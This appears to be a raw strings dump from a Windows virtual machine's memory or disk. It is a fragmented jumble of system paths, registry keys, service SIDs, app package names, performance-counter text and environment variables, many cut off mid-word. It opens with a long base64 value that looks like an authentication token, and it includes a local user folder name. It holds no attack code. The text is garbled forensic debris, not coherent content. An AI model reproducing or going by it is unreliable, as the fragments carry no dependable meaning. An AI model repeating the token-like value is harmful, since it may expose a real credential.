t=EwC4A5peBAAUci6v6TP56Gnaebzp791d4HzcpIsAAZc70DueFHbJUmUPhRO11c26449DB18zL9tI4OUoc47IckMBhcWZBF+e70WILm0N/eJY2w4q+ebUcUqSJ+gfA3YfPa7g1gVB4AZsuqu6LF54nfBKtDs/OE4fpyuLBrWIeC3ocP2fbRW2PRe9Gya+BMKAyexPd+bxHu9J3Lh0b6/hfoZWcEN+N/OfXYHtYfS6SzVmvhRpptSUgQbTnPjUC3BzIAHkdiCmeX2wtOBg2i7NEfM2sO05M5t55H70ZX2lJ/yBZIrWamQzyURcSuj7zetzdWbA9NX0swDk57OgSsM9XTOol1l6/Jc/oTtFXFygIrTzLo36jENKlobys7b3V3UQZgAAEFLfYMTXMIz07jotHZBLP4aAAj1NuAS4NEA3X3bM9wG9/UwfF4dWJpl0Np4tKl2Zpqd/gme0Da8ZVkmUzE2dg5f3Fiuu5ngzl90rUIz6T2XeCGxkm0Tp8e9P4t9EkqjlZDiHuuPf7ofPKAoRpazr5tX7IBZWaZ+BY0lGDaKnsk4j6LvDNXOwj232tAGyFjtoej6e6Z/6ZoyBE1Z2Abz3DydtT9VqlZ+j1WCtYyGFa1HdsZJEYEpKjQ7PZPaqYbmOiKqqyczEe4LNAStrLM8Q437h4arNyQW93PuE+CzLZIYsnw/qzf7TvSYD3VgXXGLasFJEd5RLIdv6euheKSPRlItVwIU3BqI7u7dBKP3PTfVA9CkRuHPEEicLAgbwMMalEX0qGsqhI959FLLr53iGVJX937nTKAlyKXyZTbVZvWyhDOLz0mQCj/MOyFm5AOgTS36qNS0bZVNo4La16yodlmyZF8fHiz0sTyvaU0rukOxLWwzHnfgLaxzhcy928y7zopoDCoXf7TtjvSpd4Bj3laLv5jQoj6xFl//1LmuW/5Vt++ITdx8tsZ+SO21Mw/TCmlZ90puLY8rjigQIMSJt9JGTxB8cwzn+z+WntnYWaDHL7u550LiZzt0T0nZyscUxs4NOd25XnJp/GJ7KA+dGyjRbmUn1Bjdg1UdhSA2+7ZIE9PPQpPj6lzwg9E73Bfzz9oCn+wzeWELfu/MAxUwNQYY6aMWnIb9KROunAtJM8cRwkI6qGxoeUNWmFOL0gV+7iah7oT58MSFZ4JhLkNJmePYj2xAKGJAqluZJIyuP4sdOjBTivC554zBaF7XPBYeHSY6IhFja4K9boaWkxYurmPSwjoU7TVrcVoLaty4yR+EOEaCzAg==&p= https://ads.arcct.msn.com MBI_SSL ZW50 XJ5S xtensio LIENT.COREAI_CW5N1H2TXYEWY\RESOURCES.PRI AMDATA\MICROSOFT\WINDOWS\CACHES\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.VER0X0000000000000001.DB 4\PROGRAMDATA\MICROSOFT\WINDOWS\CACHES\CVERSIONS.2.DB `\??\C:\WINDOWS\SYSTEM32\appxdeploymentclient.dll `\??\C:\WINDOWS\SYSTEM32\appxdeploymentclient.dll {7ea2e1ac-2e61-4728-aaa3-896d9d0a9f0e} en-US \Device\HarddiskVolume3\Users\job\AppData\Local\Microsoft\OneDrive\OneDrive.exe ~\Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exeMicrosoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe t\Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exeMicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy runtimebroker07f4358a809ac99a64a67c1 es%\WindowsPowerShell\Modules;C:\WINDOWS\system32\Window \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\MpCmdRun.exe \Device\HarddiskVolume3\Windows\System32\SecurityHealth\10.0.29510.1001-0\SecurityHealthHost.exe IONA erShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLI "BuildFID_WCOS": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "OSDATA\\Software\\Microsoft\\Windows\\CurrentVersion\\Flighting\\Build", "ValueName": "EsdFlightData", "RegVa pdate\\SLS", "ValueName": "ClientHash2", "RegValueType": "REG_DWORD" }, "CloudFilesFilter": { "HKey": "HKEY_LOCAL_MACHINE", "FullPath": "SYSTEM\\CurrentControlSet\\Services\\CldFlt\\Instances\ alueType EG_D Endpoint aultPdcH ,"Fu TWARE\\M etePendi \Cli ent","Va :50,"Ent ft\Windo date BClientM SOFTWARE\Microsoft\WindowsUpdate\UX\Settings ath" Ven2\\as .sys d":"{F38 1533cgzp", "isahbusinesssoftware.isahcrm5.9_w8pfermwyczpw", "sciresa.sciresaassistant_x9dcydyp8cnjy", "touristcustomerservices.luggagedrop_drpekd57qbpx2", "4114 "61012ericvandamme.40956775078fc_20dwssp8a47fe", "kall8.kall8_zn5hnvb7eemjj", "36233nanosoft-india.com.syncserve_t2rx2q53zy0v2", "27824ackerworx.x "phyron.blockout_kxjqy5re5zk talaikagames.rollthecat_evtzxnwt5e7ra", "ratalaikagames.zombiesaliensandguns_evtzxnwt5e7ra", "61473jmmgcommunications.3219194bd54f "melonheadgames.rooftoprenegade_3fp95xkgpya9a", "133 oftbearinc.netquel.com_6n5gvfd4f9y0w", "50180margalagames.carspaintbynumber-vehiclecolorin_t4eb5xcfmqvtt" el.clock eevo p_hea931 oumen.developerpro_jzddz4wt2dh7j", "12020nurullahyilmaz.hakimocuk1.snf_j3f6fpdb3pk68", "teachingtextbooks.ttmath3_xfp1pv c_akzntmdd3ewpm", "9aed7 eenterta ngeo ka08h45a rdsfroml rs_n 2w3f2rat evementg ator ryde_bf5 ios.mica w5yt 4484ram6ler.spotlightwallpapers_a1cxeyfetfvyt 13816thedevnate.theboatgrandma_4t8nq1e3qy08j vfg0 amd64_ amd64_dual_amdsata.inf_31bf3856ad364e35_10.0.26100.1_none_27ba4be4341ff9be\amdxata.sys C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0 10.0.29510.1001-0 10.0.26100.7309 10.0.29510.1001 cal\Microsoft\WindowsApps owerShell\Modules;C:\WIN 46000npsvctrig t\Device\HarddiskVolume3\Windows\System32\wbem\WmiPrvSE.exe h\Device\HarddiskVolume3\Windows\System32\dllhost.exeMicrosoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy FullTrustApp ~\Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exeMicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy SettingsUXHostApp h\Device\HarddiskVolume3\Windows\System32\MidiSrv.exe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\NisSrv.exe TIntel(R) 82574L Gigabit Network Connection Ethernet0 Device\HarddiskVolume3 TIntel(R) 82574L Gigabit Network Connection Ethernet0 \Device\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exeMicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy CortanaUI 480af17_ w92e mindbust gwb1 ount ajn5 ledgekeeper_wqe0j9kg1v30p annoulis quit yed6ycj0 Error String1Length ring osof ndow Terminal-Services-LSM-ApplicationLag-5780 (8`8 -State-Tmp-93530f5d-a66a-40cc-8f3c-ad4c0ff0c97b.tmp AT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFile rogr (0X0 LOG.old S-1-5-80-1264790548-4164306546-4160824920-750804445-3452039388,S-1-5-80-2586557155-168560303-1373426920-983201488-1499765686,S-1-5-80-2195691530-3564058219-2185687823-1858318469-3207429352,S-1-5-80-3433512109-503559027-1389316256-1766580070-2256751264,S-1-5-80-4171086659-1617898341-2870161492-1466607281-2109097600,S-1-5-80-364023826-931424190-487969545-1024119571-74567675,S-1-5-80-3655275221-2954682349-3644260495-855223267-1438849333,S-1-5-80-2168654060-3115992504-1782388893-2584760693-2634250426,S-1-5-80-940647296-341435850-43817331-158078607-2483727905,S-1-5-80-905711443-3371636174-4061940598-1564861340-1059327237,S-1-5-80-2310782386-4237065203-3688974353-390202159-3511571085,S-1-5-80-2636612206-2079418197-1004231589-1812192203-4197254245,S-1-5-80-2822507136-3601578665-1013168651-121944544-1825232178,S-1-5-80-3435701886-799518250-3791383489-3228296122-2938884314,S-1-5-80-3641914668-2724251012-1186334157-2460844255-322272688,S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420,S-1-5-80-324959683-3395802011-921526492-919036580-1730255754,S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 (8`8 Segoe UI Arial Arial Malgun Gothic Microsoft YaHei Microsoft JhengHei Yu Gothic Arial TIntel(R) 82574L Gigabit Network Connection Ethernet0 -l1-1-0 ext-ms-win-storage-sense-l1-2-0 : %ls =@@@@@@@@@@@@@@@ LMicrosoft Kernel Debug Network Adapter FMicrosoft IP-HTTPS Platform Adapter al packets received by the Teredo server d per second 12775 Number of SCO bytes read per second 12777 Number of Classic ACL conne Microsoft.Windows.StartMenuExperienceHost_10.0.26100.4768_neutral_neutral_cw5n1h2txyewy [\WINDOWS\SYSTEMAPPS\MICROSOFTWINDOWS.CLIENT.CO RTME ffc53070f30 C:\Program Files (x86)\Microsoft\EdgeWebView\Application\145.0.3800.70\msedgewebview2.exe ALLUSERSPROFILE=C:\ProgramData APPDATA=C:\Users\job\AppData\Roaming CommonProgramFiles=C:\Program Files\Common Files S-1-5-80-1264790548-4164306546-4160824920-750804445-3452039388,S-1-5-80-2586557155-168560303-1373426920-983201488-1499765686,S-1-5-80-2195691530-3564058219-2185687823-1858318469-3207429352,S-1-5-80-3433512109-503559027-1389316256-1766580070-2256751264,S-1-5-80-4171086659-1617898341-2870161492-1466607281-2109097600,S-1-5-80-364023826-931424190-487969545-1024119571-74567675,S-1-5-80-3655275221-2954682349-3644260495-855223267-1438849333,S-1-5-80-2168654060-3115992504-1782388893-2584760693-2634250426,S-1-5-80-940647296-341435850-43817331-158078607-2483727905,S-1-5-80-905711443-3371636174-4061940598-1564861340-1059327237,S-1-5-80-2310782386-4237065203-3688974353-390202159-3511571085,S-1-5-80-2636612206-2079418197-1004231589-1812192203-4197254245,S-1-5-80-2822507136-3601578665-1013168651-121944544-1825232178,S-1-5-80-3435701886-799518250-3791383489-3228296122-2938884314,S-1-5-80-3641914668-2724251012-1186334157-2460844255-322272688,S-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420,S-1-5-80-324959683-3395802011-921526492-919036580-1730255754,S-1-5-80-3006764832-2469330069-4024865495-2754276538-3243839463 le-features=msEdgeFluent WEBVIEW2_DEFAULT_BACKGR \Windows \Windows mpressor_wskan2ke75zd2", "20503nexatech. oudcovid19_d1mzzzwnv095y", "a008b742.mir ec8", "1136tamilltd.tamilaccountingpos_3 llabonpardoingeniera.taxi-manager_0nfdc12rh0j9r", "maint =@@@@@@@@@@@@@@@ CrRendererMain PerfettoTrace Compositor lc.s 1sho bs.c g3yn ache mex_ 6rv4", " g_af5dmdaw7bhsj", "62513icegamescraft.ani "ingenieurbrobcher.sfkmobile_080btgp5akmyp", rpackmakeup_fbbyxtfpvfwt4", "7627abrsoft "18890qreatif.operasidasarmatematika_by185xhnbp2v lider_vv7amcgtggxta", "22851tchelosoft.f tes_gt3hnatn602bm", "ebcsoftgmbh.vormula 8391madshaldmadsen.hmfilt_wz32c3h43fzba", iewpublishingllc.rentalmanagerlite_a94sd8q9ygejp", osoft.XboxGamingOverlay_8wekyb3d8bbwe!App wn2cecgdxj0p", "11941cwiara.callrecorderl .onemilliontaps_r3s71keb874vj", "47236ellyfieldstudios.ta 1000.29510.1001.0 1000.29510.1001.0 inc. gyco.ltd.whoislookupuwp_t7kq6", "d05390cb.picturemap_x76dngfmckgbg", "770k.todorov.remedyp "softorbits.removelogon.gifmakermakevideotogifsmemegifma_6ernkpt23tprp", "45584arsnelapostolet. bc", "24003csedeptchalap .26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy C:\Windows\SystemApps\Micr Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bb windir=C:\WINDOWS Corporation, L=Redmond, S=Washington, C=US Microsoft.UI.Xaml.CBS_9.2504.3002.0_ Imperso wrong s80 FWPM_LAYER_IPFORWARD_V6 12282 FWPM_LAYER_IPFORWARD_V6_DISCARD 12284 FWPM_LAYER_INBOUND_TRANSPORT_V4 12286 12378 FWPM_L x6qhwvqa", "52804juliuskirsch.quicknav_nxmrapyrk52qc", 483e eregexchecker_zzn09vbeyc r_80 digital.photofunia_yede6 1myrs4mz24", xxqe ext_wfd09jcz50d5g", epla ewheeltest_2bsj7y290vkqp 8598 8a", "22 hyh1 urpdfoffice_236anmryvpj1 ~\Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exeMicrosoft.Windows.ContentDeliveryManager_10.0.26100.1_neutral_neutral_cw5n1h2txyewy p6", "31229smartapps.convertpadpro_qtjv23y2shy8a", "6382denisabt.fritzboxvisualvoicemail_2c588hypqd6qy", "lagaialuna.iloveeurocoins_1pk0 h\Device\HarddiskVolume3\Windows\System32\svchost.exe C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation -p 9822milad-windowsdevelop.pla 9atyhwmzw5aj", "39822milad-windowsdevelop.zombiekillergroup_p9atyhwmzw5aj", "39822milad-windowsdevelop.modernmovieplayer_p9atyhwmzw5aj", "8floorltd.lostartifacts6mys bh481s8ym", "bigbeninteractivesa.tiebreak_tqjv3vrxr8ppw", "19436reecemackie.waterlogged_twp140qfejp3e", "113c124a.2_vbbj8gnvrzd92", terchaney.equipmentfieldentr "thetechnologyforge.tffacilityhazard_d1mzzzwnv095y", "fsifmsolutionsltd.38507ddd1e53c_39cvfwaw2vxbg", "3275jarijohansson.alv-laskin_4x .crewapp_rgsd0n183crbw", nsaholdingsinc.longrange_ffhwny60kye4w", "harveyrockphysicsinc.logscope_qtw3tjedrzc7m", "thetechnologyforge.tfcloudinspection_d1mzzzwnv095y", "cooperationartishockua.pnoar_ksq808btb0ekp", "64063publishersc.144509dad041e_er9a28whmz2hp", "riskinsig "nchsoftware.clickchartskofree Capabiliti tem3 %systemroot%\system3 usNe @propsys.dll ,-41110 %systemroot%\system32\PortableDeviceStatus.dll,-10 400PlusNewPictures @propsys.dll,-41111 loopback_0 SHS-02242026-090644-7-1ff ion TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWind \Device\HarddiskVolume3\Windows\System32\SecurityHealthService.exe p\Device\HarddiskVolume3\Windows\System32\smartscreen.exe 189900wcifs Instance :Software Loopback Interface 1 6Loopback Pseudo-Interface 1 TIntel(R) 82574L Gigabit Network Connection Ethernet0 :Software Loopback Interface 1 6Loopback Pseudo-Interface 1 TIntel(R) 82574L Gigabit Network Connection Ethernet0 TIntel(R) 82574L Gigabit Network Connection Ethernet0 :Software Loopback Interface 1 6Loopback Pseudo-Interface 1 \Device\HarddiskVolume3\Program Files (x86)\mRemoteNG\mRemoteNG.exe ~\Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exeMicrosoft.AAD.BrokerPlugin_1000.19580.1000.2_neutral_neutral_cw5n1h2txyewy ThreadPoolSingleThreadCOMSTASharedForeground4 ThreadPoolSingleThreadForegroundBlocking5 ThreadPoolSingleThreadForegroundBlocking7 ThreadPoolSingleThreadCOMSTASharedBackground2 NamedObjects\S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651\RPC Control\samss lpc TIntel(R) 82574L Gigabit Network Connection Ethernet0 :Software Loopback Interface 1 6Loopback Pseudo-Interface 1 DHCPv4 DHCPv4Release \device\harddiskvolume3\program files\windowsapps\microsoft.startexperiencesapp_1.151.0.0_x64__8wekyb3d8bbwe\microsoftstartfeedprovider\microsoftstartfeedprovider.exe \Program Files (x86) S-1-5-80-1071569711-2259507309-3859808539-3320509980-588289861,S-1-5-80-3215268152-2863950836-530904203-4246843131-2183915461,S-1-5-80-1659118645-3148100556-861291880-3953320898-4045657812,S-1-5-80-3168472476-176724102-2968832672-2340942973-2241613192,S-1-5-80-486568272-975562994-1883531608-2732234258-332540751,S-1-5-80-448846144-1414373772-1578130625-718576682-2306699751,S-1-5-80-1555863574-1012459212-3842453055-37978308-1142448422,S-1-5-80-2129683045-4190592892-2933516995-3556087222-2766527993 ~\Device\HarddiskVolume3\Windows\System32\backgroundTaskHost.exeMicrosoft.WindowsStore_22512.1401.6.0_x64__8wekyb3d8bbwe \device\harddiskvolume3\windows\system32\backgroundtaskhost.exe \device\harddiskvolume3\windows\system32\backgroundtaskhost.exe \device\harddiskvolume3\windows\system32\backgroundtaskhost.exe ice\harddiskvolume3\windows\system32\conhost.exe \Windows\System32\RuntimeBroker.exe \device\harddiskvolume3\windows\syswow64\wbem\wmiprvse.exe ( H MPENGI~2.DB- \EBWebView\Defau 0Local Area Connection* 6 LMicrosoft Kernel Debug Network Adapter FMicrosoft IP-HTTPS Platform Adapter TIntel(R) 82574L Gigabit Network Connection Ethernet0 mdJoinHelper::Diagnose Request id: favicon.ic \Windows\System32\cmd.exe 1838-1778256749-2155598187,S-1-5-80-2952724807-2252311773-3412998076-2712868122-780978283,S-1-5-80-3577588319-513283748-931039988-2701962192-2148388740,S-1-5-80-1938892561-4120931771-3580170924-3403102300-2651602529,S-1-5-80-1014140700-3308 2242 TIntel(R) 82574L Gigabit Network Connection Ethernet0 VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Windows api-ms-win-core-sysinfo-l1-1-0 Library FileVersion 10.0.10126.0 (GitEnlistment(cloudtest).260217-1041) InternalName api-ms-win-core-sysinfo-l1-1-0 LegalCopyright Microsoft Corporation. All rights reserved. OriginalFilename api-ms-win-core-sysinfo-l1-1-0 ProductName Microsoft Windows Operating System ProductVersion 10.0.10126.0 VarFileInfo Translation \Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask \Windows TIntel(R) 82574L Gigabit Network Connection Ethernet0 z\Device\HarddiskVolume3\Windows\System32\dxgiadaptercache.exe WINEVENT_OPCODE_INFO VENT_OPCODE_RECEIVE win:Reply WINEVENT_OPCODE_REPLY win:ReservedOpcode241 WINEVENT_OPCODE_RESERVED_241 win:ReservedOpcode242 WINEVENT_OPCODE_RESERVED_242 win:ReservedOpco 1233222332223322 SSO MTA Background DManip Delegate Thread DManip Delegate Thread Micr \WINDOWS\SYSTEM32\RPCRT4.DLL \WINDO T\??\C:\WINDOWS\SYSTEM32\kernel.appcore.dll routermonitor_m909vcfqs948w 7hh2zyyg r_y2 udios.pd pres pdffil_z .26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindow Xaml.CBS_8wekyb3d8bbwe Microsoft.UI.Xaml.CBS 8wekyb3d8bbwe CN=Microsoft Corporation, O=MicrosoftOCESSOR_REVISION .26100.7824.0_x64__cw5n1h2txyewy MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy C:\Windows\SystemA kyb3d8bbwe CN=Microsoft Corporation, O=Microsoft "cuikho210.miditomml_t3k7hgvm44f38", " nhj35f6", "58121somemediaapps.scandocumenttopdf_59ap1zzbn713j", "wuhanbamitechnologyco.ltd.tcpcl 37559 51314775 135200 qft7kq6", "d05390cb.picturemap_x7 "softorbits.redeyeremoval_9808nkjsftezr", "softorbits.removelog 0mb6 64755qubytegamesdesenvolv.sokolor_jec5y8kkwv4dj ko.boxwo 48rc isoft.monopolymadness-demo_ngz4m417e0mpw istadven _kha 94threepeppersgaming.simpletexth edition_a66emewssm0f6 nius_nsqpptr1ydk7t 35625johnli.databasepro_97 dir=C:\WINDOWS amd64_microsoft-windows-c..inventory-nonarpinv_31bf3856ad364e35_10.0.26100.77 amd64_microsoft-windows-icm-base_ 1DisableEncryptCert \LOCAL\crashpad_5812_RVHKNMUUBVCXCQIB CoequalizesFondskodeski RRRRdRRRR0RRRR.res ourc SnipeR nnq8 4_microsoft-windows-d..txvideoacceleration_31bf3 crosoft-windows-a..ence-infrastructure_31bf3856ad364e35_10.0.26100.7824_none_70a95426fcdf8c46\s . Exclusive To Shared/sec 2824 Exec. Resource At Write Bytes/sec 4316 Read Requests/sec 4318 Write Requests/sec 4320 Avg. Bytes/Read 4324 (null) kflow jobs that have been stoppe discarded due to session state 1te. 2199 Total time in nanoseconds for all operations that took <= 2 s to comple data cluster allocations from the slow tier per second. 2027 2d0", "48839ghelfer.bustimeunisc_a5c57ec1 nnovagency.anaportugueseairports_rczen6w6s9ya2", "recruitco.ltd.v "milespartnership.coloradoguide_7 mobilepa nm8h -stream. icep 6gem1pr2 .convert 4ah3e6j1 ealitywindows_wqe0j9kg1v30p", "devolverdi "64772petrotheos.gomokulocal_zwn0yb12m62h6", "51801mrline.pong_d7m7v7qzbvtsp", _15fwcmv 049kazukiawasawa.205979c "38204petedud ebreedin "kristanixstudiosas.48 \Device\HarddiskVolume3\Windows\System32\RuntimeBroker.exe bzr1 nce_qy8n ortsJoinerAsAdminServerPolicy = %s. Flow supportsJoinerAsAdmin = %s. ialize WinHttpConnection::Initialize WinHttpRequesttrue ggestionTemplate QuerySuggestionTemplate Searr Hunter 4 Deer Hunter 4 Application DH4Server.exe dh4h 4.0.msi bv-Admin Migration\BindView bv-Admin Migration 4.1.msi DEMO32.EXE t","System.Setting.GroupID":"SystemSettings_CapabilityAccess_Cam ings_CapabilityAccess_Contacts_RecentActivity_Group"}],"System.Comment":"See whi nt %1 Socket %2 SendBuffer %3 SendLength %4 Status %5 SMB session expired: S his event has many causes and does not always indicate an issue emulated on the virtual processor. 14789 The tot ckets per second from this flow which have been scheduled. 6533 The number of packets dropped by Negotiate Microsoft Package Negotiator , TID:0, SID:S-1-5-21-3914889805-4071901059-918772286-1001, Packaged:1, PFN:Micr \DEVICE\HARDDISKVOLUME3\WINDOWS\SYSWOW64\WBEM\WMIPRVSE.EXE \WINDOWS\SYSWOW64\NCOBJAPI.DLL \DEVICE\HARDDISKVOLUME3 !\WINDOWS\SYSWOW64\WBEM\ESSCLI.DLL "\WINDOWS\SYSWOW64\WBEM\STDPROV.DLL \WINDOWS\SYSTEM32\NTDLL.DLL \WINDOWS\SYSTEM32\C_1252.NLS \WINDOWS\SYSTEM32\C_437.NLS \WINDOWS\SYSTEM32\L_INTL.NLS \WINDOWS\SYSTEM32\WOW64.DLL \WINDOWS\SYSTEM32\WOW64BASE.DLL \WINDOWS\SYSTEM32\WOW64WIN.DLL \WINDOWS\SYSTEM32\WOW64CON.DLL \WINDOWS\SYSTEM32\KERNEL32.DLL \WINDOWS\SYSWOW64\KERNEL32.DLL \WINDOWS\SYSTEM32\USER32.DLL \WINDOWS\SYSTEM32\WOW64CPU.DLL \WINDOWS\SYSWOW64\NTDLL.DLL #\WINDOWS\SYSWOW64\WBEM\WMIPRVSE.EXE \WINDOWS\SYSWOW64\KERNELBASE.DLL \WINDOWS\SYSTEM32\LOCALE.NLS \WINDOWS\SYSWOW64\MSVCRT.DLL (\WINDOWS\SYSWOW64\WBEM\FASTPROX.DLL::$EA \WINDOWS\SYSWOW64\WBEM #\WINDOWS\SYSWOW64\WBEM\FASTPROX.DLL \WINDOWS\SYSWOW64\COMBASE.DLL #\WINDOWS\SYSWOW64\NCOBJAPI.DLL::$EA #\WINDOWS\SYSWOW64\WBEMCOMN.DLL::$EA \WINDOWS\SYSWOW64\UCRTBASE.DLL \WINDOWS\SYSWOW64\RPCRT4.DLL \WINDOWS\SYSWOW64\WBEMCOMN.DLL \WINDOWS\SYSWOW64\ADVAPI32.DLL \WINDOWS\SYSWOW64\SECHOST.DLL .\WINDOWS\GLOBALIZATION\SORTING\SORTDEFAULT.NLS \WINDOWS\SYSWOW64\USER32.DLL \WINDOWS\SYSWOW64\WIN32U.DLL \WINDOWS\SYSWOW64\GDI32.DLL \WINDOWS\SYSWOW64\GDI32FULL.DLL \WINDOWS\SYSWOW64\MSVCP_WIN.DLL &\WINDOWS\SYSTEM32\EN-US\USER32.DLL.MUI )\WINDOWS\SYSWOW64\KERNEL.APPCORE.DLL::$EA $\WINDOWS\SYSWOW64\KERNEL.APPCORE.DLL &\WINDOWS\SYSWOW64\BCRYPTPRIMITIVES.DLL \WINDOWS\SYSWOW64\CLBCATQ.DLL '\WINDOWS\REGISTRATION\R000000000006.CLB (\WINDOWS\SYSWOW64\WBEM\WBEMPROX.DLL::$EA #\WINDOWS\SYSWOW64\WBEM\WBEMPROX.DLL \WINDOWS\SYSWOW64\OLEAUT32.DLL \WINDOWS\SYSWOW64\OLE32.DLL "\WINDOWS\SYSWOW64\WBEM\WBEMSVC.DLL \WINDOWS\SYSWOW64\AMSI.DLL "\WINDOWS\SYSWOW64\USERENV.DLL::$EA \WINDOWS\SYSWOW64\USERENV.DLL "\WINDOWS\SYSWOW64\PROFAPI.DLL::$EA \WINDOWS\SYSWOW64\PROFAPI.DLL M\PROGRAMDATA\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.26010.5-0\X86\MPOAV.DLL "\WINDOWS\SYSWOW64\VERSION.DLL::$EA \WINDOWS\SYSWOW64\VERSION.DLL (\WINDOWS\SYSWOW64\WBEM\WMIUTILS.DLL::$EA #\WINDOWS\SYSWOW64\WBEM\WMIUTILS.DLL VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporatio prntvpt.dll FSFolderPropStore WritableInMemoryPropertyStore Microsoft.Wi sl:appId sl:noBinding r:keyHolder tm:decryptContent KeyRange RefActConfigId IsRandomized KeyRanges ProductDescription ProductKeyType PartNumber EditionId Configuration ActConfigId ProductKey ecific IPs on which WinRM is listening: %n%n winrm enumerate winrm/config/listener The WinRM service is not listening for WS-Management requests. %n%n User Action %n If you did no alid certificate and make sure that Network Service has access t uest because the maximum envelope size requested 032223312233/.-33222332223322233 g.GroupID":"Sett ps_Storage_Manage","System.SettiID":"Set IPCONFIG.EXE-BFEC2AD0.pf sPolicy Name Group Data en-US Distributed Link Tracking ClientVMaintains links between NTFS files within a computer or across computers in a network. VS_VERSION_INFO StringFileInfo 040904B0 CompanyName Microsoft Corporation FileDescription Distributed Link Tracking Client FileVersion 10.0.26100.1 (WinBuild.160101.0800) InternalNam 80286850472,262144 --enable-features=msEdgeFluentOverlay cw5n1h2txyewy\AC\Temp sferHost.1 :Software Loopback Interface 1 TIntel(R) 82574L Gigabit Network Connection -5e93954268b6.dat.~tmp E8D7C3~1.~T Z 30s to complete. 7977 VPN counters which keep track of their values since service start 7979 Total number of cumulative remote clients connected to server since service start 7981 Maximum number of remote clients connected to server since service start 7983 Number of failed authentications since service start 7985 Total number of bytes received by all the disconnected clients since service start 7987 Total number of bytes transmitted by all the disconnected clients since service start 1969 Counters for monitoring client-side DC location functionality. 1971 Number of successful DC locator requests per second. 1973 Number of failed DC locator requests per second. 1975 Number of currently active DC locator requests. 1977 Average latency of successful requests in seconds. 1979 The base value used to calculate average success latency. 1981 Average latency of failed requests in seconds. 1983 The base lculate average failure latency. 1985 Number of PDC-required DC locator requests per second. Corresponds to the DS_PDC_REQUIRED flag of the DsGetDcName api. Note that a single request may specify mult AppI irstRun microsof ssigned Space is mapped and committed virtual me ss f r reading from these pages and w ss. ace with this protection allocated by images run nts s not an average. Pages Inpu vate or sharable memory. The number 10.0.26100.3323 R\??\C:\WINDOWS\SYSTEM32\CoreMessaging.dll H\??\C:\WINDOWS\SYSTEM32\IpHlpApi.dll Partmgr Partmgr \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe Partmgr T\??\C:\WINDOWS\SYSTEM32\VCRUNTIME140_1.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe H\??\C:\WINDOWS\SYSTEM32\NETAPI32.dll H\??\C:\WINDOWS\SYSTEM32\WTSAPI32.dll H\??\C:\WINDOWS\system32\vsocklib.dll T\??\C:\WINDOWS\SYSTEM32\kernel.appcore.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe H\??\C:\WINDOWS\SYSTEM32\NETUTILS.DLL \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe P\??\C:\WINDOWS\SYSTEM32\VCRUNTIME140.dll H\??\C:\WINDOWS\SYSTEM32\MSVCP140.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe J\??\C:\WINDOWS\SYSTEM32\CRYPTBASE.DLL Partmgr V\??\C:\WINDOWS\system32\twinapi.appcore.dll P\??\C:\WINDOWS\system32\dataexchange.dll \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe Partmgr \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe N\??\C:\Windows\System32\Windows.Web.dll Partmgr \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\vmtoolsd.exe ndll32 er wers pe]: \Device\HarddiskVolume3\Windows\System32\IPHLPAPI.DLL EC2AD0.pf.nlsdefault.bat.CBS_cw5n1h2txyewy\AC\INetCookies\ESE\ner.dat 